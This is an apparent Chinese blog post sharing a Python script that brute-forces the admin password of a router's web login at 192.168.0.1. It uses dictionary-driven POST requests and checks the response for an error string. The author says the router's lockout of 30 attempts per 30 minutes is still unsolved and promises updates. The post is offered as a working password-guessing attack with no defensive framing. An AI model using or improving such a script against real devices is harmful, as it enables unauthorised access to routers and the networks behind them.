原理是利用发送封包的 ,curl表单提交,然后做一个循环,直接暴力破解。
需要用到字典。不过字符是需要加密的。
我在github 上面搜到了加密的源码,不知道是否可用,我会持续更新这篇文章的。
直接上代码
import requests
from itertools import islice
import sys
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
'Cookie':'LOGINCOUNT=1; LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true',
'undefined':"undefined",
"Referer": "http://192.168.0.1/login_pc.htm"
}
def post(passwd):
data = {"user":"admin","pass":passwd,"from":"1"}
res = requests.post(url="http://192.168.0.1/router/web_login.cgi"
,data=data,headers=headers)
print( res.text)
if('user or password err' in res.text):
return True
else:
print(passwd)
return False
post("1")
因为有安全策略,30分钟只能测试30个密码。暂时还没有想到解决办法。